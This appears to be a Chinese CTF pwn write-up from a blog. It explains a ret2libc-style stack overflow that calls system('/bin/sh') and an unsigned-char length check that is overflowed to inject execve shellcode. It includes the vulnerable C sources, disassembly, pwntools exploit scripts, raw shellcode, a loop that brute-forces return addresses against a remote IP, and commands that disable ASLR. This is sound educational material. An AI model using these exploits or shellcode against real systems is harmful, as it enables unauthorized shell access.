Pwn——CTF中的简单ret2blic

某平台上的一道题

1、ret2blic

1、何为ret2blic

通过返回地址或者函数的plt跳到我们需要执行的函数,从而达到我们想要的,一般都是得到shell

2、源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
char *shell = "/bin/sh";
void grant() {
system("Good job");
}
void exploitable() {
char buffer[16];
scanf("%s", buffer);
if(strcmp(buffer,"pwned") == 0) grant();
else puts("Nice try\n");
}
int main(){
exploitable();
return 0;
}

运行命令生成
gcc -m32 -no-pie -fno-stack-protector -z execstack -o pwn1 pwn1.c

3、漏洞原理,利用ret2blic技术

ida打开,查看grant函数 汇编代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
.text:080484CB grant proc near ; CODE XREF:
.text:080484CB
.text:080484CB var_4 = dword ptr -4
.text:080484CB
.text:080484CB push ebp
.text:080484CC mov ebp, esp
.text:080484CE push ebx
.text:080484CF sub esp, 4
.text:080484D2 call __x86_get_pc_thunk_ax
.text:080484D7 add eax, 1B29h
.text:080484DC sub esp, 0Ch
.text:080484DF lea edx, (aGoodJob - 804A000h)[eax] ; "Good job"
.text:080484E5 push edx ; command
.text:080484E6 mov ebx, eax
.text:080484E8 call _system
.text:080484ED add esp, 10h
.text:080484F0 nop
.text:080484F1 mov ebx, [ebp+var_4]
.text:080484F4 leave
.text:080484F5 retn
.text:080484F5 grant endp

这里可以理解为
system(command)
最后ret,将保存的 函数返回地址从堆栈的顶部pop出值到EIP。
而我们想要得到shell,就得将command改为“bin/sh”,即
system("bin/sh")

从ida我们看到“/bin/sh”的地址0x8048610

1
2
3
4
5
6
.rodata:08048610 aBinSh db '/bin/sh',0 ; DATA XREF: .
.rodata:08048618 aGoodJob db 'Good job',0 ; DATA XREF:
.rodata:08048621 aS db '%s',0 ; DATA XREF:
.rodata:08048624 aPwned db 'pwned',0 ; DATA XREF:
.rodata:0804862A aNiceTry db 'Nice try',0Ah,0 ; DATA XREF:
.rodata:0804862A _rodata ends

从ida我们看到system_plt的地址0x8048390

1
2
3
4
.plt:08048390 ; int system(const char *command)
.plt:08048390 _system proc near ; CODE XREF:
.plt:08048390 jmp ds:off_804A014
.plt:08048390 _system endp

我们构造一个“假”的堆栈结构,然后修改函数的返回地址:

payload='a'*28+p32(system_plt)+p32(1)+p32(sh_addr)

p32(system_plt):原函数的返回地址,这里改为我们要执行的system的地址
p32(1):system的返回地址,因为用不到,这里我随便填的。
p32(sh_addr):system的第一个参数,要执行字符串的地址,我们要拿到shell,就填’/bin/sh’的地址

4、exp

1
2
3
4
5
6
7
8
from pwn import *
p = process('./pwn1')
#gdb.attach(p,'''break main''')
system_plt=0x8048390
sh_addr=0x8048610
payload='a'*28+p32(system_plt)+p32(1)+p32(sh_addr)
p.sendline(payload)
p.interactive()

记录一下字节走的坑:
后面发现system_plt等等许多plt是不能用ida看到出来的,上面也许是巧合
要写会用system_plt=elf.symbols[‘system’]

5、改善的exp

1
2
3
4
5
6
7
8
from pwn import *
p = process('./pwn1')
elf = ELF('pwn1')
system_plt=elf.symbols['system']
sh_addr=0x8048610
payload='a'*28+p32(system_plt)+p32(1)+p32(sh_addr)
p.sendline(payload)
p.interactive()

2、整数溢出

1、整数溢出

整数溢出就是往存储整数的内存单位存放的数据大于该内存单位所能存储的最大值,整数溢出有时候间接导致缓冲区溢出。

2、题目-全球某工商的ctf网站上的ctf题(还有源码福利)

题目:
链接:http://pan.baidu.com/s/1nuU9pO1 密码:e7ue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include
#include
#include
void flow(char* input)
{
char passwd_buf[11];
unsigned char passwd_len = strlen(input);
if(passwd_len>=4&&passwd_len<=8)
{
printf("Valid Password\n");
strcpy(passwd_buf,input);
}
else{
printf("Invalid Password\n");
}
}
int main()
{
char input[1024];
gets(input);
flow(input);
return 0;
}

3、分析

先file pwn0,发现为32位,checksec pwn0并且没有开NX,用ida打开,如下

发现栈空间为14h,这里是无符号接受判断输入的字符个数,也就是当超过256,个字符又会循环。即257为1,根据题目
判断输入字符4~8个,即261=5,构造261位,既可以绕过检测,又为我们提供了栈空间

由于已经知道那个函数的栈空间14h,那么函数的返回地址即为18h,但是我们的shellcode是大于18h的,所以放在18h的后面,payload如下:
payload ='a'*24 + ret + shellcode

现在我们找到ret的地址,即是shellcode的起始地址(shellcode可以自己生成),这我…一言难尽

调试,找到shellcode的起始地址

改变返回地址
ret = 0xffffcf80
运行

成功!
然而,并没有做过pwn题的我来说,我就直接运行,悲剧发生了

原来要在本地跑运行,然后 核心转存,用生成的coredump来调试
核心转存配置:

1
2
ulimit -c unlimited
echo /tmp/core.%e.%p > /proc/sys/kernel/core_pattern

这几个指令。执行完后我们就关掉整个linux系统的ASLR保护。

1
2
cat /proc/sys/kernel/randomize_va_space
echo 0 > /proc/sys/kernel/randomize_va_space

本地运行:
socat tcp-l:4000,fork exec:./pwn0

本地生成core.pwn0.2684文件,调试core.pwn0.2684文件
gdb pwn0 core.pwn0.2684
如图:

本地测试运行成功,连上目标机器,就不能成功,可能是libc.so.6不同
exp:

1
2
3
4
5
6
7
from pwn import *
shellcode = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80";
p = remote('115.159.26.117',4000)
ret = 0xffffced0
payload = 'b'*24+p32(ret)+shellcode+'a'*(261-28-len(shellcode))
p.sendline(payload)
p.interactive()

这里我先用一个循环脚本写找到那个shellcode的地址,在代入
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
shellcode = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80";
'''
c=[]
for i in range(1000):
p = remote('115.159.26.117',4000)
ret = 0xffffcea0+i
payload = 'b'*24+p32(ret)+shellcode+'a'*(261-28-len(shellcode))
p.sendline(payload)
try:
print p.recv(timeout=0.1)
print p.recv(timeout=0.1)
print p.recv(timeout=0.1)
print p.recv(timeout=0.1)
print p.recv(timeout=0.1)
print p.recv(timeout=0.1)
print p.recv(timeout=0.1)
print p.recv(timeout=0.1)
print p.recv(timeout=0.1)
print p.recv(timeout=0.1)
print p.recv(timeout=0.1)
print p.recv(timeout=0.1)
print p.recv(timeout=0.1)
print p.recv(timeout=0.1)
print p.recv(timeout=0.1)
print i
c.append(i)
except:
p.close()
pass
p.interactive()
print c
'''
p = remote('115.159.26.117',4000)
ret = 0xffffcea0+848
payload = 'b'*24+p32(ret)+shellcode+'a'*(261-28-len(shellcode))
p.sendline(payload)
p.interactive()

Donate
-------------本文结束感谢您的阅读-------------